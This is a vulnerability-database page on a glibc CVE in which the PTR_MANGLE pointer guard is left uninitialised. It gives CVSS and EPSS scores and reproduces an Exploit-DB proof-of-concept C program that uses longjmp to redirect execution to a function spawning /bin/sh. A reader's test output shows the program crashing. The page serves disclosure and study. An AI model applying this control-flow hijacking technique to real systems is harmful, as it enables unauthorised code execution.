CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The PTR_MANGLE implementation in the GNU C Library (aka glibc or libc6) 2.4, 2.17, and earlier, and Embedded GLIBC (EGLIBC) does not initialize the random value for the pointer guard, which makes it easier for context-dependent attackers to control execution flow by leveraging a buffer-overflow vulnerability in an application and using the known zero value pointer guard to calculate a pointer address.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.1
AV:N/AC:H/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
13.45%
–
–
2022-03-20
–
–
12.19%
–
–
2022-04-03
–
–
12.19%
–
–
2023-03-12
–
–
–
1.53%
–
2023-09-10
–
–
–
1.53%
–
2023-10-08
–
–
–
1.58%
–
2024-02-11
–
–
–
1.58%
–
2024-06-02
–
–
–
1.58%
–
2024-08-25
–
–
–
1.58%
–
2024-12-22
–
–
–
3.11%
–
2025-03-02
–
–
–
2.98%
–
2025-01-19
–
–
–
3.11%
–
2025-03-09
–
–
–
2.98%
–
2025-03-18
–
–
–
–
8.09%
2025-03-30
–
–
–
–
8.09%
2025-04-15
–
–
–
–
8.09%
2025-04-15
–
–
–
–
8.09,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2013-09-29 22h00 +00:00 Author : Hector Marco & Ismael Ripoll EDB Verified : No
/*
*
* Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>
#ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#else
#error The exploit does not support this architecture
#endif
unsigned long rol(uintptr_t value) {
return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}
int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");
}
int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);
printf("[+] Exploiting ...\n");
if(setjmp(env) == 1){
printf("[-] Exploit failed.\n");
return 0;
}
/*Overwrie env return address */
*ptr_ret_env = rol((uintptr_t)hacked);
longjmp(env, 1);
printf("[-] Exploit failed.\n");
return 0;
}
####################################################################################################################
#
# Reader submitted results
/*
[522] user@his-system ~ $ ./POC
[+] Exploiting ...
Segmentation fault
[523] user@his-system ~ $ ldd POC
linux-vdso.so.1 => (0x00007fffab5fd000)
libc.so.6 => /lib64/libc.so.6 (0x0000003269800000)
/lib64/ld-linux-x86-64.so.2 (0x0000003269400000)
[525] user@his-system ~ $ uname -a
Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[526] user@his-system ~ $
[526] user@his-system ~ $ grep vsys /proc/self/maps
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
*/